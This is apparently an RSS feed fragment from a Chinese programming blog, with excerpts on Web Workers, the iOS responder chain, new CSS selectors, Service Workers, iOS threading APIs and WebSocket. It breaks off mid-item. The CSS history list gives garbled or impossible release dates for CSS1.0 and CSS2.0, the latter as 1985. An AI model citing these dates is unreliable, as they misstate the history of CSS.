&lt;p&gt;众所周知，js最初设计是运行在浏览器中的，为了防止多个线程同时操作DOM，带来渲染冲突问题，所以js执行器被设计成单线程。但随着前端技术的发展，js能力远不止如此，当我们遇到需要大量计算的场景时（比如图像处理、视频解码等），js线程往往会被长时间阻塞，甚至造成页面卡顿，影响用户体验。为了解决单线程带来的这一弊端，Web Worker 应运而生。&lt;/p&gt;
&lt;h2 id="1-web-worker"&gt;1. Web Worker&lt;/h2&gt;
&lt;h3 id="11-web-worker-是什么"&gt;1.1 &lt;code&gt;Web Worker&lt;/code&gt; 是什么&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;Web Worker&lt;/code&gt; 是 HTML5 标准的一部分，这一规范定义了一套 API，允许我们在 js 主线程之外开辟新的 Worker 线程，并将一段 js 脚本运行其中，它赋予了开发者利用 js 操作多线程的能力。&lt;/p&gt;
&lt;p&gt;因为是独立的线程，Worker 线程与 js 主线程能够同时运行，互不阻塞。所以，在我们有大量运算任务时，可以把运算任务交给 Worker 线程去处理，当 Worker 线程计算完成，再把结果返回给 js 主线程。这样，js 主线程只用专注处理业务逻辑，不用耗费过多时间去处理大量复杂计算，从而减少了阻塞时间，也提高了运行效率，页面流畅度和用户体验自然而然也提高了。&lt;/p&gt;
&lt;h3 id="12-web-worker-能干些什么"&gt;1.2 &lt;code&gt;Web Worker&lt;/code&gt; 能干些什么&lt;/h3&gt;
&lt;p&gt;虽然 Worker 线程是在浏览器环境中被唤起，但是它与当前页面窗口运行在不同的全局上下文中，我们常用的顶层对象 &lt;code&gt;window&lt;/code&gt;，以及 &lt;code&gt;parent&lt;/code&gt; 对象在 Worker 线程上下文中是不可用的。另外，在 Worker 线程上下文中，操作 DOM 的行为也是不可行的，&lt;code&gt;document&lt;/code&gt;对象也不存在。但是，&lt;code&gt;location&lt;/code&gt;和&lt;code&gt;navigator&lt;/code&gt;对象可以以可读方式访问。除此之外，绝大多数 Window 对象上的方法和属性，都被共享到 Worker 上下文全局对象 &lt;a href="https://developer.mozilla.org/en-US/docs/Web/API/WorkerGlobalScope"&gt;WorkerGlobalScope&lt;/a&gt; 中。同样，Worker 线程上下文也存在一个顶级对象 &lt;code&gt;self&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;详细信息请参考：&lt;a href="https://developer.mozilla.org/en-US/docs/Web/API/Web_Workers_API/Functions_and_classes_available_to_workers"&gt;Functions and classes available to Web Workers&lt;/a&gt;&lt;/p&gt;
&lt;h2 id="2-web-worker-使用"&gt;2. Web Worker 使用&lt;/h2&gt;
&lt;h3 id="21-创建-worker"&gt;2.1 创建 &lt;code&gt;worker&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;创建 &lt;code&gt;worker&lt;/code&gt; 只需要通过 &lt;code&gt;new&lt;/code&gt; 调用 &lt;code&gt;Worker()&lt;/code&gt; 构造函数即可，它接收两个参数&lt;/p&gt;</description></item><item><title>iOS响应者链与事件处理机制</title><link>https://amatsuzero.github.io/LastStand/posts/interview/ios-basics/%E5%93%8D%E5%BA%94%E8%80%85%E9%93%BE/</link><pubDate>Sat, 02 May 2026 22:32:27 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/interview/ios-basics/%E5%93%8D%E5%BA%94%E8%80%85%E9%93%BE/</guid><description>&lt;p&gt;当手指触碰iPhone屏幕上的一个按钮时，背后经历了从硬件感知、系统传递、命中测试、事件分发到最终响应的完整链路。本文将系统性地拆解iOS事件处理机制的每个环节。&lt;/p&gt;
&lt;h2 id="一响应者与响应者链"&gt;一、响应者与响应者链&lt;/h2&gt;
&lt;p&gt;理解事件处理的前提是理解&amp;quot;谁有能力处理事件&amp;quot;。在iOS中，这个问题的答案是 &lt;strong&gt;响应者（Responder）&lt;/strong&gt;。&lt;/p&gt;
&lt;h3 id="11-uiresponder"&gt;1.1 UIResponder&lt;/h3&gt;
&lt;p&gt;所有能够接收并处理事件的对象都继承自 &lt;code&gt;UIResponder&lt;/code&gt;：&lt;/p&gt;
&lt;pre class="mermaid"&gt;classDiagram
NSObject &lt;|-- UIResponder
UIResponder &lt;|-- UIView
UIResponder &lt;|-- UIViewController
UIResponder &lt;|-- UIApplication
UIView &lt;|-- UIWindow
UIView &lt;|-- UIControl
UIView &lt;|-- UIScrollView
UIControl &lt;|-- UIButton
UIControl &lt;|-- UISlider
UIScrollView &lt;|-- UITableView
class UIResponder {
+nextResponder: UIResponder?
+touchesBegan(touches, event)
+touchesMoved(touches, event)
+touchesEnded(touches, event)
+touchesCancelled(touches, event)
}
&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;UIResponder&lt;/code&gt; 定义了处理触摸事件的四个核心方法：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-objc" data-lang="objc"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;- (&lt;span style="color:#66d9ef"&gt;void&lt;/span&gt;)&lt;span style="color:#a6e22e"&gt;touchesBegan:&lt;/span&gt;(NSSet&lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;UITouch &lt;span style="color:#f92672"&gt;*&amp;gt;&lt;/span&gt; &lt;span style="color:#f92672"&gt;*&lt;/span&gt;)touches &lt;span style="color:#a6e22e"&gt;withEvent:&lt;/span&gt;(UIEvent &lt;span style="color:#f92672"&gt;*&lt;/span&gt;)event;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;- (&lt;span style="color:#66d9ef"&gt;void&lt;/span&gt;)&lt;span style="color:#a6e22e"&gt;touchesMoved:&lt;/span&gt;(NSSet&lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;UITouch &lt;span style="color:#f92672"&gt;*&amp;gt;&lt;/span&gt; &lt;span style="color:#f92672"&gt;*&lt;/span&gt;)touches &lt;span style="color:#a6e22e"&gt;withEvent:&lt;/span&gt;(UIEvent &lt;span style="color:#f92672"&gt;*&lt;/span&gt;)event;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;- (&lt;span style="color:#66d9ef"&gt;void&lt;/span&gt;)&lt;span style="color:#a6e22e"&gt;touchesEnded:&lt;/span&gt;(NSSet&lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;UITouch &lt;span style="color:#f92672"&gt;*&amp;gt;&lt;/span&gt; &lt;span style="color:#f92672"&gt;*&lt;/span&gt;)touches &lt;span style="color:#a6e22e"&gt;withEvent:&lt;/span&gt;(UIEvent &lt;span style="color:#f92672"&gt;*&lt;/span&gt;)event;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;- (&lt;span style="color:#66d9ef"&gt;void&lt;/span&gt;)&lt;span style="color:#a6e22e"&gt;touchesCancelled:&lt;/span&gt;(NSSet&lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;UITouch &lt;span style="color:#f92672"&gt;*&amp;gt;&lt;/span&gt; &lt;span style="color:#f92672"&gt;*&lt;/span&gt;)touches &lt;span style="color:#a6e22e"&gt;withEvent:&lt;/span&gt;(UIEvent &lt;span style="color:#f92672"&gt;*&lt;/span&gt;)event;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="12-nextresponder与响应者链"&gt;1.2 nextResponder与响应者链&lt;/h3&gt;
&lt;p&gt;每个 &lt;code&gt;UIResponder&lt;/code&gt; 都有一个 &lt;code&gt;nextResponder&lt;/code&gt; 属性，指向&amp;quot;下一个响应者&amp;quot;。所有响应者通过这个属性串联成一条 &lt;strong&gt;响应者链（Responder Chain）&lt;/strong&gt;。&lt;/p&gt;</description></item><item><title>新变化</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/css/css-027/</link><pubDate>Sat, 09 Nov 2024 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/css/css-027/</guid><description>&lt;h2 id="css-发展史"&gt;CSS 发展史&lt;/h2&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/css/css-027/image-01.png"&gt;&lt;/p&gt;
&lt;p&gt;上图是20 世纪 90 年万维网刚出现时，由于当时并没有可以装饰网页的方法，原始的 Web 页面呈现的效果，随着 CSS（层叠样式表，Cascading Style Sheets）的诞生与发展，Web页面的样式有了翻天覆地的变化。&lt;/p&gt;
&lt;h2 id="css的发布过程"&gt;CSS的发布过程&lt;/h2&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/css/css-027/image-02.png"&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;CSS1.0 19912月W3C发布了第一个有关样式的标准CSS1.0。这个版本中，已经包含了的相关font的相关属性、颜色与背景的相关属性、文字的相关属性、box的相关属性等。&lt;/li&gt;
&lt;li&gt;CSS2.0 1985年5月，CSS2.0正式推出。这个版本推荐的是内容和表现效果分离的方式，并开始使用样式表结构。&lt;/li&gt;
&lt;li&gt;CSS2.1 2004年2月，CSS2.1正式推出。它在CSS2.0的基础上略微做了改动，删除了许多不被浏览器支持的属性&lt;/li&gt;
&lt;li&gt;CSS3 从2011年开始CSS被分为多个模块单独升级。这些模块统称为CSS3 包含有：&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;CSS 选择器level3&lt;/li&gt;
&lt;li&gt;CSS 媒体查询level3&lt;/li&gt;
&lt;li&gt;CSS color level3&lt;/li&gt;
&lt;/ul&gt;
&lt;ol start="5"&gt;
&lt;li&gt;CSS4 设计中&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;CSS 标准的制定大概有下面几个步骤&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/css/css-027/image-03.png"&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;下面主要介绍的是与我们日常工作有关联的一些新特性，其中一些已经在主流浏览器中得到了支持，还有一些特性还在草案阶段，可能还会有一些变化。&lt;/p&gt;
&lt;h2 id="css-伪类选择器"&gt;CSS 伪类选择器&lt;/h2&gt;
&lt;h3 id="is和where"&gt;is()和where()&lt;/h3&gt;
&lt;p&gt;在编写css时，有时会需要使用很长的选择器列表来定位具有相同样式的子元素，比如对所有H元素下的span设置为block，之前会这么写:&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/css/css-027/image-04.png"&gt;&lt;/p&gt;
&lt;p&gt;这样写选择器看起来很长，可读性差。 此时，可以使用is()来提高易读性，同时避免使用长选择器&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/css/css-027/image-05.png"&gt;&lt;/p&gt;
&lt;p&gt;浏览器支持:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;:is() Chrome 88/ Firefox 78/ Edge 88 /Safari 14&lt;/li&gt;
&lt;li&gt;:where() Chrome 88/ Firefox 78/ Edge 88 /Safari 14&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;注意：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;is()和where()在使用方法上和其他的伪类选择器一样，可以任意组合排列。&lt;/li&gt;
&lt;li&gt;is()和where()的功能大体上是一样的，他们的差异性体现在选择器的权重上&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;where()选择器没有权重，也就是权重是0&lt;/li&gt;
&lt;li&gt;is()选择器的权重由它的选择器列表中的最搞权重决定&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;规则示例:&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/css/css-027/image-06.png"&gt;&lt;/p&gt;</description></item><item><title>Service Worker</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/javascript/service-worker/</link><pubDate>Fri, 08 Nov 2024 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/javascript/service-worker/</guid><description>&lt;h2 id="引言"&gt;引言&lt;/h2&gt;
&lt;p&gt;我们经常可以听到 &lt;strong&gt;Worker&lt;/strong&gt; 这个名词，比如本文要介绍的 &lt;strong&gt;ServiceWorker&lt;/strong&gt; 后面就带着一个 &lt;strong&gt;Worker&lt;/strong&gt; 的单词，那么 &lt;strong&gt;Worker&lt;/strong&gt; 实际上指的是什么呢？&lt;/p&gt;
&lt;p&gt;在介绍 &lt;strong&gt;Worker&lt;/strong&gt; 的定义之前，先来回忆一下浏览器的渲染原理。&lt;/p&gt;
&lt;p&gt;在一个 tab 打开的时候，浏览器会给这个 tab 创建一个新的渲染进程（renderer process），如下图：&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/javascript/service-worker/image-01.webp"&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;图1：Chrome 浏览器的多进程架构&lt;/p&gt;
&lt;p&gt;图片来源：&lt;a href="https://developer.chrome.com/blog/inside-browser-part1/"&gt;developer.chrome.com/blog/inside…&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;在每一个渲染进程中，都会有一个主线程（Main Thread），负责 JavaScript 的执行以及浏览器的渲染（JavaScript 的执行与 UI 渲染是一个互相阻塞的流程）。&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/javascript/service-worker/image-02.webp"&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;图2：浏览器一帧的剖析&lt;/p&gt;
&lt;p&gt;图片来源：&lt;a href="https://aerotwist.com/blog/the-anatomy-of-a-frame/"&gt;aerotwist.com/blog/the-an…&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;如果 JavaScript 执行时间过久（比如超过 33.33 ms），那么一帧内留给 UI 渲染的时间不多，如果这时候网页有正在执行的动画，那么用户就会感受到卡顿。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;10 FPS：能够达成基本的视觉残留（参考：定格动画至少需要 12 帧每秒以上）&lt;/p&gt;
&lt;p&gt;30 FPS以下：让人感觉到明显的卡顿和不适感&lt;/p&gt;
&lt;p&gt;30-50 FPS：因人而异&lt;/p&gt;
&lt;p&gt;50-60 FPS：流畅&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;一个 Worker，指的是一个可以在后台独立执行 JavaScript 脚本。它存在于一个单独的 worker 线程，即使执行一些长任务也不会阻塞主线程响应用户操作（如鼠标点击、动画等）。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;另外 Worker 也指使用 &lt;code&gt;new Worker()&lt;/code&gt; 构造函数创建的一个对象，可以用在主线程与 worker 线程的通信&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/javascript/service-worker/image-03.webp"&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;图3：worker 线程独立于主线程之外&lt;/p&gt;
&lt;p&gt;图片来源：&lt;a href="https://developer.chrome.com/blog/inside-browser-part3/"&gt;developer.chrome.com/blog/inside…&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Worker 与 主线程之间可以通过 &lt;code&gt;postMessage&lt;/code&gt; 进行通信：&lt;/p&gt;</description></item><item><title>iOS多线程编程</title><link>https://amatsuzero.github.io/LastStand/posts/interview/ios-basics/%E5%A4%9A%E7%BA%BF%E7%A8%8B/</link><pubDate>Sat, 02 May 2026 22:32:27 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/interview/ios-basics/%E5%A4%9A%E7%BA%BF%E7%A8%8B/</guid><description>&lt;p&gt;iOS多线程方案对比&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;方案&lt;/th&gt;
&lt;th&gt;简介&lt;/th&gt;
&lt;th&gt;语言&lt;/th&gt;
&lt;th&gt;生命周期管理&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;pthread&lt;/td&gt;
&lt;td&gt;POSIX标准的多线程API&lt;/td&gt;
&lt;td&gt;C&lt;/td&gt;
&lt;td&gt;手动管理&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;NSThread&lt;/td&gt;
&lt;td&gt;面向对象的线程封装&lt;/td&gt;
&lt;td&gt;OC/Swift&lt;/td&gt;
&lt;td&gt;手动管理&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;GCD&lt;/td&gt;
&lt;td&gt;Grand Central Dispatch&lt;/td&gt;
&lt;td&gt;C/OC/Swift&lt;/td&gt;
&lt;td&gt;自动管理&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;NSOperation&lt;/td&gt;
&lt;td&gt;基于GCD的面向对象封装&lt;/td&gt;
&lt;td&gt;OC/Swift&lt;/td&gt;
&lt;td&gt;自动管理&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 id="pthread"&gt;pthread&lt;/h2&gt;
&lt;p&gt;pthread是POSIX标准的多线程API，是最底层的多线程方案，使用C语言编写。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-c" data-lang="c"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#import &amp;lt;pthread.h&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;void&lt;/span&gt; &lt;span style="color:#f92672"&gt;*&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;threadFunction&lt;/span&gt;(&lt;span style="color:#66d9ef"&gt;void&lt;/span&gt; &lt;span style="color:#f92672"&gt;*&lt;/span&gt;param) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;NSLog&lt;/span&gt;(&lt;span style="color:#960050;background-color:#1e0010"&gt;@&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;pthread执行任务: %@&amp;#34;&lt;/span&gt;, [NSThread currentThread]);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; NULL;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;-&lt;/span&gt; (&lt;span style="color:#66d9ef"&gt;void&lt;/span&gt;)createPthread {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;pthread_t&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;thread&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;pthread_create&lt;/span&gt;(&lt;span style="color:#f92672"&gt;&amp;amp;&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;thread&lt;/span&gt;, NULL, threadFunction, NULL);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;特点&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;跨平台，可移植性强&lt;/li&gt;
&lt;li&gt;使用复杂，需要手动管理线程生命周期&lt;/li&gt;
&lt;li&gt;实际开发中很少直接使用&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="nsthread"&gt;NSThread&lt;/h2&gt;
&lt;p&gt;NSThread是苹果对pthread的面向对象封装，使用更加简单。&lt;/p&gt;
&lt;h3 id="创建线程的方式"&gt;创建线程的方式&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-objc" data-lang="objc"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 方式1：实例方法创建，需要手动启动
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;NSThread &lt;span style="color:#f92672"&gt;*&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;thread&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; [[NSThread alloc] initWithTarget:self
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; selector:&lt;span style="color:#66d9ef"&gt;@selector&lt;/span&gt;(doTask)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; object:nil];
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;thread&lt;/span&gt;.name &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;@&amp;#34;MyThread&amp;#34;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[&lt;span style="color:#66d9ef"&gt;thread&lt;/span&gt; start];
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 方式2：类方法创建，自动启动
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[NSThread detachNewThreadSelector:&lt;span style="color:#66d9ef"&gt;@selector&lt;/span&gt;(doTask)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; toTarget:self
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; withObject:nil];
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 方式3：隐式创建
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[self performSelectorInBackground:&lt;span style="color:#66d9ef"&gt;@selector&lt;/span&gt;(doTask) withObject:nil];
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="常用方法"&gt;常用方法&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-objc" data-lang="objc"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 获取当前线程
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;NSThread &lt;span style="color:#f92672"&gt;*&lt;/span&gt;currentThread &lt;span style="color:#f92672"&gt;=&lt;/span&gt; [NSThread currentThread];
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 获取主线程
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;NSThread &lt;span style="color:#f92672"&gt;*&lt;/span&gt;mainThread &lt;span style="color:#f92672"&gt;=&lt;/span&gt; [NSThread mainThread];
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 判断是否是主线程
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;BOOL&lt;/span&gt; isMain &lt;span style="color:#f92672"&gt;=&lt;/span&gt; [NSThread isMainThread];
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 线程休眠
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[NSThread sleepForTimeInterval:&lt;span style="color:#ae81ff"&gt;2.0&lt;/span&gt;];
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[NSThread sleepUntilDate:[NSDate dateWithTimeIntervalSinceNow:&lt;span style="color:#ae81ff"&gt;2.0&lt;/span&gt;]];
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 退出当前线程
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[NSThread exit];
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="线程间通信"&gt;线程间通信&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-objc" data-lang="objc"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 回到主线程执行
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[self performSelectorOnMainThread:&lt;span style="color:#66d9ef"&gt;@selector&lt;/span&gt;(updateUI)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; withObject:nil
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; waitUntilDone:NO];
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 在指定线程执行
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[self performSelector:&lt;span style="color:#66d9ef"&gt;@selector&lt;/span&gt;(doTask)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; onThread:&lt;span style="color:#66d9ef"&gt;thread&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; withObject:nil
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; waitUntilDone:NO];
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="gcdgrand-central-dispatch"&gt;GCD（Grand Central Dispatch）&lt;/h2&gt;
&lt;p&gt;GCD是苹果推出的多线程解决方案，基于C语言实现，自动管理线程的生命周期。GCD的核心概念是 &lt;strong&gt;队列（Queue）&lt;/strong&gt; 和&lt;strong&gt;任务（Task）&lt;/strong&gt;。&lt;/p&gt;</description></item><item><title>WebSocket</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/javascript/websocket/</link><pubDate>Fri, 08 Nov 2024 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/javascript/websocket/</guid><description>&lt;h2 id="一什么是websocket"&gt;一、什么是WebSocket&lt;/h2&gt;
&lt;p&gt;WebSocket 是一种在单个TCP连接上进行全双工通信的协议。WebSocket 使得客户端和服务器之间的数据交换变得更加简单，允许服务端主动向客户端推送数据。&lt;/p&gt;
&lt;p&gt;在 WebSocket API 中，浏览器和服务器只需要完成一次握手，两者之间就直接可以创建持久性的连接， 并进行双向数据传输。（维基百科）&lt;/p&gt;
&lt;p&gt;WebSocket本质上一种&lt;code&gt;计算机网络应用层的协议&lt;/code&gt;，用来弥补http协议在持久通信能力上的不足。&lt;/p&gt;
&lt;p&gt;WebSocket 协议在2008年诞生，2011年成为国际标准。现在最新版本浏览器都已经支持了。&lt;/p&gt;
&lt;p&gt;它的最大特点就是，服务器可以主动向客户端推送信息，客户端也可以主动向服务器发送信息，是真正的双向平等对话，属于&lt;a href="https://en.wikipedia.org/wiki/Push_technology"&gt;服务器推送技术&lt;/a&gt;的一种。&lt;/p&gt;
&lt;p&gt;WebSocket 的其他特点包括：&lt;/p&gt;
